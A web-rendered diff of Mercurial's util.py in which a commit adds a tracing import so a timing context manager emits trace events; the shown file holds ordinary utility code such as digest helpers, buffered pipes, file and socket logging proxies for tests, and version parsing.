##// END OF EJS Templates
util: make timedcm context manager also emit trace events...
Augie Fackler -
r39293:497effb0 default
parent child Browse files
Show More
@@ -1,3875 +1,3877
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import collections
21 21 import contextlib
22 22 import errno
23 23 import gc
24 24 import hashlib
25 25 import itertools
26 26 import mmap
27 27 import os
28 28 import platform as pyplatform
29 29 import re as remod
30 30 import shutil
31 31 import socket
32 32 import stat
33 33 import sys
34 34 import time
35 35 import traceback
36 36 import warnings
37 37 import zlib
38 38
39 from hgdemandimport import tracing
39 40 from .thirdparty import (
40 41 attr,
41 42 )
42 43 from . import (
43 44 encoding,
44 45 error,
45 46 i18n,
46 47 node as nodemod,
47 48 policy,
48 49 pycompat,
49 50 urllibcompat,
50 51 )
51 52 from .utils import (
52 53 procutil,
53 54 stringutil,
54 55 )
55 56
56 57 base85 = policy.importmod(r'base85')
57 58 osutil = policy.importmod(r'osutil')
58 59 parsers = policy.importmod(r'parsers')
59 60
60 61 b85decode = base85.b85decode
61 62 b85encode = base85.b85encode
62 63
63 64 cookielib = pycompat.cookielib
64 65 httplib = pycompat.httplib
65 66 pickle = pycompat.pickle
66 67 safehasattr = pycompat.safehasattr
67 68 socketserver = pycompat.socketserver
68 69 bytesio = pycompat.bytesio
69 70 # TODO deprecate stringio name, as it is a lie on Python 3.
70 71 stringio = bytesio
71 72 xmlrpclib = pycompat.xmlrpclib
72 73
73 74 httpserver = urllibcompat.httpserver
74 75 urlerr = urllibcompat.urlerr
75 76 urlreq = urllibcompat.urlreq
76 77
77 78 # workaround for win32mbcs
78 79 _filenamebytestr = pycompat.bytestr
79 80
80 81 if pycompat.iswindows:
81 82 from . import windows as platform
82 83 else:
83 84 from . import posix as platform
84 85
85 86 _ = i18n._
86 87
87 88 bindunixsocket = platform.bindunixsocket
88 89 cachestat = platform.cachestat
89 90 checkexec = platform.checkexec
90 91 checklink = platform.checklink
91 92 copymode = platform.copymode
92 93 expandglobs = platform.expandglobs
93 94 getfsmountpoint = platform.getfsmountpoint
94 95 getfstype = platform.getfstype
95 96 groupmembers = platform.groupmembers
96 97 groupname = platform.groupname
97 98 isexec = platform.isexec
98 99 isowner = platform.isowner
99 100 listdir = osutil.listdir
100 101 localpath = platform.localpath
101 102 lookupreg = platform.lookupreg
102 103 makedir = platform.makedir
103 104 nlinks = platform.nlinks
104 105 normpath = platform.normpath
105 106 normcase = platform.normcase
106 107 normcasespec = platform.normcasespec
107 108 normcasefallback = platform.normcasefallback
108 109 openhardlinks = platform.openhardlinks
109 110 oslink = platform.oslink
110 111 parsepatchoutput = platform.parsepatchoutput
111 112 pconvert = platform.pconvert
112 113 poll = platform.poll
113 114 posixfile = platform.posixfile
114 115 rename = platform.rename
115 116 removedirs = platform.removedirs
116 117 samedevice = platform.samedevice
117 118 samefile = platform.samefile
118 119 samestat = platform.samestat
119 120 setflags = platform.setflags
120 121 split = platform.split
121 122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 123 statisexec = platform.statisexec
123 124 statislink = platform.statislink
124 125 umask = platform.umask
125 126 unlink = platform.unlink
126 127 username = platform.username
127 128
128 129 try:
129 130 recvfds = osutil.recvfds
130 131 except AttributeError:
131 132 pass
132 133
133 134 # Python compatibility
134 135
135 136 _notset = object()
136 137
137 138 def bitsfrom(container):
138 139 bits = 0
139 140 for bit in container:
140 141 bits |= bit
141 142 return bits
142 143
143 144 # python 2.6 still have deprecation warning enabled by default. We do not want
144 145 # to display anything to standard user so detect if we are running test and
145 146 # only use python deprecation warning in this case.
146 147 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
147 148 if _dowarn:
148 149 # explicitly unfilter our warning for python 2.7
149 150 #
150 151 # The option of setting PYTHONWARNINGS in the test runner was investigated.
151 152 # However, module name set through PYTHONWARNINGS was exactly matched, so
152 153 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
153 154 # makes the whole PYTHONWARNINGS thing useless for our usecase.
154 155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
155 156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
156 157 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
157 158 if _dowarn and pycompat.ispy3:
158 159 # silence warning emitted by passing user string to re.sub()
159 160 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
160 161 r'mercurial')
161 162 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
162 163 DeprecationWarning, r'mercurial')
163 164 # TODO: reinvent imp.is_frozen()
164 165 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
165 166 DeprecationWarning, r'mercurial')
166 167
167 168 def nouideprecwarn(msg, version, stacklevel=1):
168 169 """Issue an python native deprecation warning
169 170
170 171 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
171 172 """
172 173 if _dowarn:
173 174 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
174 175 " update your code.)") % version
175 176 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
176 177
177 178 DIGESTS = {
178 179 'md5': hashlib.md5,
179 180 'sha1': hashlib.sha1,
180 181 'sha512': hashlib.sha512,
181 182 }
182 183 # List of digest types from strongest to weakest
183 184 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
184 185
185 186 for k in DIGESTS_BY_STRENGTH:
186 187 assert k in DIGESTS
187 188
188 189 class digester(object):
189 190 """helper to compute digests.
190 191
191 192 This helper can be used to compute one or more digests given their name.
192 193
193 194 >>> d = digester([b'md5', b'sha1'])
194 195 >>> d.update(b'foo')
195 196 >>> [k for k in sorted(d)]
196 197 ['md5', 'sha1']
197 198 >>> d[b'md5']
198 199 'acbd18db4cc2f85cedef654fccc4a4d8'
199 200 >>> d[b'sha1']
200 201 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
201 202 >>> digester.preferred([b'md5', b'sha1'])
202 203 'sha1'
203 204 """
204 205
205 206 def __init__(self, digests, s=''):
206 207 self._hashes = {}
207 208 for k in digests:
208 209 if k not in DIGESTS:
209 210 raise error.Abort(_('unknown digest type: %s') % k)
210 211 self._hashes[k] = DIGESTS[k]()
211 212 if s:
212 213 self.update(s)
213 214
214 215 def update(self, data):
215 216 for h in self._hashes.values():
216 217 h.update(data)
217 218
218 219 def __getitem__(self, key):
219 220 if key not in DIGESTS:
220 221 raise error.Abort(_('unknown digest type: %s') % k)
221 222 return nodemod.hex(self._hashes[key].digest())
222 223
223 224 def __iter__(self):
224 225 return iter(self._hashes)
225 226
226 227 @staticmethod
227 228 def preferred(supported):
228 229 """returns the strongest digest type in both supported and DIGESTS."""
229 230
230 231 for k in DIGESTS_BY_STRENGTH:
231 232 if k in supported:
232 233 return k
233 234 return None
234 235
235 236 class digestchecker(object):
236 237 """file handle wrapper that additionally checks content against a given
237 238 size and digests.
238 239
239 240 d = digestchecker(fh, size, {'md5': '...'})
240 241
241 242 When multiple digests are given, all of them are validated.
242 243 """
243 244
244 245 def __init__(self, fh, size, digests):
245 246 self._fh = fh
246 247 self._size = size
247 248 self._got = 0
248 249 self._digests = dict(digests)
249 250 self._digester = digester(self._digests.keys())
250 251
251 252 def read(self, length=-1):
252 253 content = self._fh.read(length)
253 254 self._digester.update(content)
254 255 self._got += len(content)
255 256 return content
256 257
257 258 def validate(self):
258 259 if self._size != self._got:
259 260 raise error.Abort(_('size mismatch: expected %d, got %d') %
260 261 (self._size, self._got))
261 262 for k, v in self._digests.items():
262 263 if v != self._digester[k]:
263 264 # i18n: first parameter is a digest name
264 265 raise error.Abort(_('%s mismatch: expected %s, got %s') %
265 266 (k, v, self._digester[k]))
266 267
267 268 try:
268 269 buffer = buffer
269 270 except NameError:
270 271 def buffer(sliceable, offset=0, length=None):
271 272 if length is not None:
272 273 return memoryview(sliceable)[offset:offset + length]
273 274 return memoryview(sliceable)[offset:]
274 275
275 276 _chunksize = 4096
276 277
277 278 class bufferedinputpipe(object):
278 279 """a manually buffered input pipe
279 280
280 281 Python will not let us use buffered IO and lazy reading with 'polling' at
281 282 the same time. We cannot probe the buffer state and select will not detect
282 283 that data are ready to read if they are already buffered.
283 284
284 285 This class let us work around that by implementing its own buffering
285 286 (allowing efficient readline) while offering a way to know if the buffer is
286 287 empty from the output (allowing collaboration of the buffer with polling).
287 288
288 289 This class lives in the 'util' module because it makes use of the 'os'
289 290 module from the python stdlib.
290 291 """
291 292 def __new__(cls, fh):
292 293 # If we receive a fileobjectproxy, we need to use a variation of this
293 294 # class that notifies observers about activity.
294 295 if isinstance(fh, fileobjectproxy):
295 296 cls = observedbufferedinputpipe
296 297
297 298 return super(bufferedinputpipe, cls).__new__(cls)
298 299
299 300 def __init__(self, input):
300 301 self._input = input
301 302 self._buffer = []
302 303 self._eof = False
303 304 self._lenbuf = 0
304 305
305 306 @property
306 307 def hasbuffer(self):
307 308 """True is any data is currently buffered
308 309
309 310 This will be used externally a pre-step for polling IO. If there is
310 311 already data then no polling should be set in place."""
311 312 return bool(self._buffer)
312 313
313 314 @property
314 315 def closed(self):
315 316 return self._input.closed
316 317
317 318 def fileno(self):
318 319 return self._input.fileno()
319 320
320 321 def close(self):
321 322 return self._input.close()
322 323
323 324 def read(self, size):
324 325 while (not self._eof) and (self._lenbuf < size):
325 326 self._fillbuffer()
326 327 return self._frombuffer(size)
327 328
328 329 def unbufferedread(self, size):
329 330 if not self._eof and self._lenbuf == 0:
330 331 self._fillbuffer(max(size, _chunksize))
331 332 return self._frombuffer(min(self._lenbuf, size))
332 333
333 334 def readline(self, *args, **kwargs):
334 335 if 1 < len(self._buffer):
335 336 # this should not happen because both read and readline end with a
336 337 # _frombuffer call that collapse it.
337 338 self._buffer = [''.join(self._buffer)]
338 339 self._lenbuf = len(self._buffer[0])
339 340 lfi = -1
340 341 if self._buffer:
341 342 lfi = self._buffer[-1].find('\n')
342 343 while (not self._eof) and lfi < 0:
343 344 self._fillbuffer()
344 345 if self._buffer:
345 346 lfi = self._buffer[-1].find('\n')
346 347 size = lfi + 1
347 348 if lfi < 0: # end of file
348 349 size = self._lenbuf
349 350 elif 1 < len(self._buffer):
350 351 # we need to take previous chunks into account
351 352 size += self._lenbuf - len(self._buffer[-1])
352 353 return self._frombuffer(size)
353 354
354 355 def _frombuffer(self, size):
355 356 """return at most 'size' data from the buffer
356 357
357 358 The data are removed from the buffer."""
358 359 if size == 0 or not self._buffer:
359 360 return ''
360 361 buf = self._buffer[0]
361 362 if 1 < len(self._buffer):
362 363 buf = ''.join(self._buffer)
363 364
364 365 data = buf[:size]
365 366 buf = buf[len(data):]
366 367 if buf:
367 368 self._buffer = [buf]
368 369 self._lenbuf = len(buf)
369 370 else:
370 371 self._buffer = []
371 372 self._lenbuf = 0
372 373 return data
373 374
374 375 def _fillbuffer(self, size=_chunksize):
375 376 """read data to the buffer"""
376 377 data = os.read(self._input.fileno(), size)
377 378 if not data:
378 379 self._eof = True
379 380 else:
380 381 self._lenbuf += len(data)
381 382 self._buffer.append(data)
382 383
383 384 return data
384 385
385 386 def mmapread(fp):
386 387 try:
387 388 fd = getattr(fp, 'fileno', lambda: fp)()
388 389 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
389 390 except ValueError:
390 391 # Empty files cannot be mmapped, but mmapread should still work. Check
391 392 # if the file is empty, and if so, return an empty buffer.
392 393 if os.fstat(fd).st_size == 0:
393 394 return ''
394 395 raise
395 396
396 397 class fileobjectproxy(object):
397 398 """A proxy around file objects that tells a watcher when events occur.
398 399
399 400 This type is intended to only be used for testing purposes. Think hard
400 401 before using it in important code.
401 402 """
402 403 __slots__ = (
403 404 r'_orig',
404 405 r'_observer',
405 406 )
406 407
407 408 def __init__(self, fh, observer):
408 409 object.__setattr__(self, r'_orig', fh)
409 410 object.__setattr__(self, r'_observer', observer)
410 411
411 412 def __getattribute__(self, name):
412 413 ours = {
413 414 r'_observer',
414 415
415 416 # IOBase
416 417 r'close',
417 418 # closed if a property
418 419 r'fileno',
419 420 r'flush',
420 421 r'isatty',
421 422 r'readable',
422 423 r'readline',
423 424 r'readlines',
424 425 r'seek',
425 426 r'seekable',
426 427 r'tell',
427 428 r'truncate',
428 429 r'writable',
429 430 r'writelines',
430 431 # RawIOBase
431 432 r'read',
432 433 r'readall',
433 434 r'readinto',
434 435 r'write',
435 436 # BufferedIOBase
436 437 # raw is a property
437 438 r'detach',
438 439 # read defined above
439 440 r'read1',
440 441 # readinto defined above
441 442 # write defined above
442 443 }
443 444
444 445 # We only observe some methods.
445 446 if name in ours:
446 447 return object.__getattribute__(self, name)
447 448
448 449 return getattr(object.__getattribute__(self, r'_orig'), name)
449 450
450 451 def __nonzero__(self):
451 452 return bool(object.__getattribute__(self, r'_orig'))
452 453
453 454 __bool__ = __nonzero__
454 455
455 456 def __delattr__(self, name):
456 457 return delattr(object.__getattribute__(self, r'_orig'), name)
457 458
458 459 def __setattr__(self, name, value):
459 460 return setattr(object.__getattribute__(self, r'_orig'), name, value)
460 461
461 462 def __iter__(self):
462 463 return object.__getattribute__(self, r'_orig').__iter__()
463 464
464 465 def _observedcall(self, name, *args, **kwargs):
465 466 # Call the original object.
466 467 orig = object.__getattribute__(self, r'_orig')
467 468 res = getattr(orig, name)(*args, **kwargs)
468 469
469 470 # Call a method on the observer of the same name with arguments
470 471 # so it can react, log, etc.
471 472 observer = object.__getattribute__(self, r'_observer')
472 473 fn = getattr(observer, name, None)
473 474 if fn:
474 475 fn(res, *args, **kwargs)
475 476
476 477 return res
477 478
478 479 def close(self, *args, **kwargs):
479 480 return object.__getattribute__(self, r'_observedcall')(
480 481 r'close', *args, **kwargs)
481 482
482 483 def fileno(self, *args, **kwargs):
483 484 return object.__getattribute__(self, r'_observedcall')(
484 485 r'fileno', *args, **kwargs)
485 486
486 487 def flush(self, *args, **kwargs):
487 488 return object.__getattribute__(self, r'_observedcall')(
488 489 r'flush', *args, **kwargs)
489 490
490 491 def isatty(self, *args, **kwargs):
491 492 return object.__getattribute__(self, r'_observedcall')(
492 493 r'isatty', *args, **kwargs)
493 494
494 495 def readable(self, *args, **kwargs):
495 496 return object.__getattribute__(self, r'_observedcall')(
496 497 r'readable', *args, **kwargs)
497 498
498 499 def readline(self, *args, **kwargs):
499 500 return object.__getattribute__(self, r'_observedcall')(
500 501 r'readline', *args, **kwargs)
501 502
502 503 def readlines(self, *args, **kwargs):
503 504 return object.__getattribute__(self, r'_observedcall')(
504 505 r'readlines', *args, **kwargs)
505 506
506 507 def seek(self, *args, **kwargs):
507 508 return object.__getattribute__(self, r'_observedcall')(
508 509 r'seek', *args, **kwargs)
509 510
510 511 def seekable(self, *args, **kwargs):
511 512 return object.__getattribute__(self, r'_observedcall')(
512 513 r'seekable', *args, **kwargs)
513 514
514 515 def tell(self, *args, **kwargs):
515 516 return object.__getattribute__(self, r'_observedcall')(
516 517 r'tell', *args, **kwargs)
517 518
518 519 def truncate(self, *args, **kwargs):
519 520 return object.__getattribute__(self, r'_observedcall')(
520 521 r'truncate', *args, **kwargs)
521 522
522 523 def writable(self, *args, **kwargs):
523 524 return object.__getattribute__(self, r'_observedcall')(
524 525 r'writable', *args, **kwargs)
525 526
526 527 def writelines(self, *args, **kwargs):
527 528 return object.__getattribute__(self, r'_observedcall')(
528 529 r'writelines', *args, **kwargs)
529 530
530 531 def read(self, *args, **kwargs):
531 532 return object.__getattribute__(self, r'_observedcall')(
532 533 r'read', *args, **kwargs)
533 534
534 535 def readall(self, *args, **kwargs):
535 536 return object.__getattribute__(self, r'_observedcall')(
536 537 r'readall', *args, **kwargs)
537 538
538 539 def readinto(self, *args, **kwargs):
539 540 return object.__getattribute__(self, r'_observedcall')(
540 541 r'readinto', *args, **kwargs)
541 542
542 543 def write(self, *args, **kwargs):
543 544 return object.__getattribute__(self, r'_observedcall')(
544 545 r'write', *args, **kwargs)
545 546
546 547 def detach(self, *args, **kwargs):
547 548 return object.__getattribute__(self, r'_observedcall')(
548 549 r'detach', *args, **kwargs)
549 550
550 551 def read1(self, *args, **kwargs):
551 552 return object.__getattribute__(self, r'_observedcall')(
552 553 r'read1', *args, **kwargs)
553 554
554 555 class observedbufferedinputpipe(bufferedinputpipe):
555 556 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
556 557
557 558 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
558 559 bypass ``fileobjectproxy``. Because of this, we need to make
559 560 ``bufferedinputpipe`` aware of these operations.
560 561
561 562 This variation of ``bufferedinputpipe`` can notify observers about
562 563 ``os.read()`` events. It also re-publishes other events, such as
563 564 ``read()`` and ``readline()``.
564 565 """
565 566 def _fillbuffer(self):
566 567 res = super(observedbufferedinputpipe, self)._fillbuffer()
567 568
568 569 fn = getattr(self._input._observer, r'osread', None)
569 570 if fn:
570 571 fn(res, _chunksize)
571 572
572 573 return res
573 574
574 575 # We use different observer methods because the operation isn't
575 576 # performed on the actual file object but on us.
576 577 def read(self, size):
577 578 res = super(observedbufferedinputpipe, self).read(size)
578 579
579 580 fn = getattr(self._input._observer, r'bufferedread', None)
580 581 if fn:
581 582 fn(res, size)
582 583
583 584 return res
584 585
585 586 def readline(self, *args, **kwargs):
586 587 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
587 588
588 589 fn = getattr(self._input._observer, r'bufferedreadline', None)
589 590 if fn:
590 591 fn(res)
591 592
592 593 return res
593 594
594 595 PROXIED_SOCKET_METHODS = {
595 596 r'makefile',
596 597 r'recv',
597 598 r'recvfrom',
598 599 r'recvfrom_into',
599 600 r'recv_into',
600 601 r'send',
601 602 r'sendall',
602 603 r'sendto',
603 604 r'setblocking',
604 605 r'settimeout',
605 606 r'gettimeout',
606 607 r'setsockopt',
607 608 }
608 609
609 610 class socketproxy(object):
610 611 """A proxy around a socket that tells a watcher when events occur.
611 612
612 613 This is like ``fileobjectproxy`` except for sockets.
613 614
614 615 This type is intended to only be used for testing purposes. Think hard
615 616 before using it in important code.
616 617 """
617 618 __slots__ = (
618 619 r'_orig',
619 620 r'_observer',
620 621 )
621 622
622 623 def __init__(self, sock, observer):
623 624 object.__setattr__(self, r'_orig', sock)
624 625 object.__setattr__(self, r'_observer', observer)
625 626
626 627 def __getattribute__(self, name):
627 628 if name in PROXIED_SOCKET_METHODS:
628 629 return object.__getattribute__(self, name)
629 630
630 631 return getattr(object.__getattribute__(self, r'_orig'), name)
631 632
632 633 def __delattr__(self, name):
633 634 return delattr(object.__getattribute__(self, r'_orig'), name)
634 635
635 636 def __setattr__(self, name, value):
636 637 return setattr(object.__getattribute__(self, r'_orig'), name, value)
637 638
638 639 def __nonzero__(self):
639 640 return bool(object.__getattribute__(self, r'_orig'))
640 641
641 642 __bool__ = __nonzero__
642 643
643 644 def _observedcall(self, name, *args, **kwargs):
644 645 # Call the original object.
645 646 orig = object.__getattribute__(self, r'_orig')
646 647 res = getattr(orig, name)(*args, **kwargs)
647 648
648 649 # Call a method on the observer of the same name with arguments
649 650 # so it can react, log, etc.
650 651 observer = object.__getattribute__(self, r'_observer')
651 652 fn = getattr(observer, name, None)
652 653 if fn:
653 654 fn(res, *args, **kwargs)
654 655
655 656 return res
656 657
657 658 def makefile(self, *args, **kwargs):
658 659 res = object.__getattribute__(self, r'_observedcall')(
659 660 r'makefile', *args, **kwargs)
660 661
661 662 # The file object may be used for I/O. So we turn it into a
662 663 # proxy using our observer.
663 664 observer = object.__getattribute__(self, r'_observer')
664 665 return makeloggingfileobject(observer.fh, res, observer.name,
665 666 reads=observer.reads,
666 667 writes=observer.writes,
667 668 logdata=observer.logdata,
668 669 logdataapis=observer.logdataapis)
669 670
670 671 def recv(self, *args, **kwargs):
671 672 return object.__getattribute__(self, r'_observedcall')(
672 673 r'recv', *args, **kwargs)
673 674
674 675 def recvfrom(self, *args, **kwargs):
675 676 return object.__getattribute__(self, r'_observedcall')(
676 677 r'recvfrom', *args, **kwargs)
677 678
678 679 def recvfrom_into(self, *args, **kwargs):
679 680 return object.__getattribute__(self, r'_observedcall')(
680 681 r'recvfrom_into', *args, **kwargs)
681 682
682 683 def recv_into(self, *args, **kwargs):
683 684 return object.__getattribute__(self, r'_observedcall')(
684 685 r'recv_info', *args, **kwargs)
685 686
686 687 def send(self, *args, **kwargs):
687 688 return object.__getattribute__(self, r'_observedcall')(
688 689 r'send', *args, **kwargs)
689 690
690 691 def sendall(self, *args, **kwargs):
691 692 return object.__getattribute__(self, r'_observedcall')(
692 693 r'sendall', *args, **kwargs)
693 694
694 695 def sendto(self, *args, **kwargs):
695 696 return object.__getattribute__(self, r'_observedcall')(
696 697 r'sendto', *args, **kwargs)
697 698
698 699 def setblocking(self, *args, **kwargs):
699 700 return object.__getattribute__(self, r'_observedcall')(
700 701 r'setblocking', *args, **kwargs)
701 702
702 703 def settimeout(self, *args, **kwargs):
703 704 return object.__getattribute__(self, r'_observedcall')(
704 705 r'settimeout', *args, **kwargs)
705 706
706 707 def gettimeout(self, *args, **kwargs):
707 708 return object.__getattribute__(self, r'_observedcall')(
708 709 r'gettimeout', *args, **kwargs)
709 710
710 711 def setsockopt(self, *args, **kwargs):
711 712 return object.__getattribute__(self, r'_observedcall')(
712 713 r'setsockopt', *args, **kwargs)
713 714
714 715 class baseproxyobserver(object):
715 716 def _writedata(self, data):
716 717 if not self.logdata:
717 718 if self.logdataapis:
718 719 self.fh.write('\n')
719 720 self.fh.flush()
720 721 return
721 722
722 723 # Simple case writes all data on a single line.
723 724 if b'\n' not in data:
724 725 if self.logdataapis:
725 726 self.fh.write(': %s\n' % stringutil.escapestr(data))
726 727 else:
727 728 self.fh.write('%s> %s\n'
728 729 % (self.name, stringutil.escapestr(data)))
729 730 self.fh.flush()
730 731 return
731 732
732 733 # Data with newlines is written to multiple lines.
733 734 if self.logdataapis:
734 735 self.fh.write(':\n')
735 736
736 737 lines = data.splitlines(True)
737 738 for line in lines:
738 739 self.fh.write('%s> %s\n'
739 740 % (self.name, stringutil.escapestr(line)))
740 741 self.fh.flush()
741 742
742 743 class fileobjectobserver(baseproxyobserver):
743 744 """Logs file object activity."""
744 745 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
745 746 logdataapis=True):
746 747 self.fh = fh
747 748 self.name = name
748 749 self.logdata = logdata
749 750 self.logdataapis = logdataapis
750 751 self.reads = reads
751 752 self.writes = writes
752 753
753 754 def read(self, res, size=-1):
754 755 if not self.reads:
755 756 return
756 757 # Python 3 can return None from reads at EOF instead of empty strings.
757 758 if res is None:
758 759 res = ''
759 760
760 761 if size == -1 and res == '':
761 762 # Suppress pointless read(-1) calls that return
762 763 # nothing. These happen _a lot_ on Python 3, and there
763 764 # doesn't seem to be a better workaround to have matching
764 765 # Python 2 and 3 behavior. :(
765 766 return
766 767
767 768 if self.logdataapis:
768 769 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
769 770
770 771 self._writedata(res)
771 772
772 773 def readline(self, res, limit=-1):
773 774 if not self.reads:
774 775 return
775 776
776 777 if self.logdataapis:
777 778 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
778 779
779 780 self._writedata(res)
780 781
781 782 def readinto(self, res, dest):
782 783 if not self.reads:
783 784 return
784 785
785 786 if self.logdataapis:
786 787 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
787 788 res))
788 789
789 790 data = dest[0:res] if res is not None else b''
790 791 self._writedata(data)
791 792
792 793 def write(self, res, data):
793 794 if not self.writes:
794 795 return
795 796
796 797 # Python 2 returns None from some write() calls. Python 3 (reasonably)
797 798 # returns the integer bytes written.
798 799 if res is None and data:
799 800 res = len(data)
800 801
801 802 if self.logdataapis:
802 803 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
803 804
804 805 self._writedata(data)
805 806
806 807 def flush(self, res):
807 808 if not self.writes:
808 809 return
809 810
810 811 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
811 812
812 813 # For observedbufferedinputpipe.
813 814 def bufferedread(self, res, size):
814 815 if not self.reads:
815 816 return
816 817
817 818 if self.logdataapis:
818 819 self.fh.write('%s> bufferedread(%d) -> %d' % (
819 820 self.name, size, len(res)))
820 821
821 822 self._writedata(res)
822 823
823 824 def bufferedreadline(self, res):
824 825 if not self.reads:
825 826 return
826 827
827 828 if self.logdataapis:
828 829 self.fh.write('%s> bufferedreadline() -> %d' % (
829 830 self.name, len(res)))
830 831
831 832 self._writedata(res)
832 833
833 834 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
834 835 logdata=False, logdataapis=True):
835 836 """Turn a file object into a logging file object."""
836 837
837 838 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
838 839 logdata=logdata, logdataapis=logdataapis)
839 840 return fileobjectproxy(fh, observer)
840 841
841 842 class socketobserver(baseproxyobserver):
842 843 """Logs socket activity."""
843 844 def __init__(self, fh, name, reads=True, writes=True, states=True,
844 845 logdata=False, logdataapis=True):
845 846 self.fh = fh
846 847 self.name = name
847 848 self.reads = reads
848 849 self.writes = writes
849 850 self.states = states
850 851 self.logdata = logdata
851 852 self.logdataapis = logdataapis
852 853
853 854 def makefile(self, res, mode=None, bufsize=None):
854 855 if not self.states:
855 856 return
856 857
857 858 self.fh.write('%s> makefile(%r, %r)\n' % (
858 859 self.name, mode, bufsize))
859 860
860 861 def recv(self, res, size, flags=0):
861 862 if not self.reads:
862 863 return
863 864
864 865 if self.logdataapis:
865 866 self.fh.write('%s> recv(%d, %d) -> %d' % (
866 867 self.name, size, flags, len(res)))
867 868 self._writedata(res)
868 869
869 870 def recvfrom(self, res, size, flags=0):
870 871 if not self.reads:
871 872 return
872 873
873 874 if self.logdataapis:
874 875 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
875 876 self.name, size, flags, len(res[0])))
876 877
877 878 self._writedata(res[0])
878 879
879 880 def recvfrom_into(self, res, buf, size, flags=0):
880 881 if not self.reads:
881 882 return
882 883
883 884 if self.logdataapis:
884 885 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
885 886 self.name, size, flags, res[0]))
886 887
887 888 self._writedata(buf[0:res[0]])
888 889
889 890 def recv_into(self, res, buf, size=0, flags=0):
890 891 if not self.reads:
891 892 return
892 893
893 894 if self.logdataapis:
894 895 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
895 896 self.name, size, flags, res))
896 897
897 898 self._writedata(buf[0:res])
898 899
899 900 def send(self, res, data, flags=0):
900 901 if not self.writes:
901 902 return
902 903
903 904 self.fh.write('%s> send(%d, %d) -> %d' % (
904 905 self.name, len(data), flags, len(res)))
905 906 self._writedata(data)
906 907
907 908 def sendall(self, res, data, flags=0):
908 909 if not self.writes:
909 910 return
910 911
911 912 if self.logdataapis:
912 913 # Returns None on success. So don't bother reporting return value.
913 914 self.fh.write('%s> sendall(%d, %d)' % (
914 915 self.name, len(data), flags))
915 916
916 917 self._writedata(data)
917 918
918 919 def sendto(self, res, data, flagsoraddress, address=None):
919 920 if not self.writes:
920 921 return
921 922
922 923 if address:
923 924 flags = flagsoraddress
924 925 else:
925 926 flags = 0
926 927
927 928 if self.logdataapis:
928 929 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
929 930 self.name, len(data), flags, address, res))
930 931
931 932 self._writedata(data)
932 933
933 934 def setblocking(self, res, flag):
934 935 if not self.states:
935 936 return
936 937
937 938 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
938 939
939 940 def settimeout(self, res, value):
940 941 if not self.states:
941 942 return
942 943
943 944 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
944 945
945 946 def gettimeout(self, res):
946 947 if not self.states:
947 948 return
948 949
949 950 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
950 951
951 952 def setsockopt(self, res, level, optname, value):
952 953 if not self.states:
953 954 return
954 955
955 956 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
956 957 self.name, level, optname, value, res))
957 958
958 959 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
959 960 logdata=False, logdataapis=True):
960 961 """Turn a socket into a logging socket."""
961 962
962 963 observer = socketobserver(logh, name, reads=reads, writes=writes,
963 964 states=states, logdata=logdata,
964 965 logdataapis=logdataapis)
965 966 return socketproxy(fh, observer)
966 967
967 968 def version():
968 969 """Return version information if available."""
969 970 try:
970 971 from . import __version__
971 972 return __version__.version
972 973 except ImportError:
973 974 return 'unknown'
974 975
975 976 def versiontuple(v=None, n=4):
976 977 """Parses a Mercurial version string into an N-tuple.
977 978
978 979 The version string to be parsed is specified with the ``v`` argument.
979 980 If it isn't defined, the current Mercurial version string will be parsed.
980 981
981 982 ``n`` can be 2, 3, or 4. Here is how some version strings map to
982 983 returned values:
983 984
984 985 >>> v = b'3.6.1+190-df9b73d2d444'
985 986 >>> versiontuple(v, 2)
986 987 (3, 6)
987 988 >>> versiontuple(v, 3)
988 989 (3, 6, 1)
989 990 >>> versiontuple(v, 4)
990 991 (3, 6, 1, '190-df9b73d2d444')
991 992
992 993 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
993 994 (3, 6, 1, '190-df9b73d2d444+20151118')
994 995
995 996 >>> v = b'3.6'
996 997 >>> versiontuple(v, 2)
997 998 (3, 6)
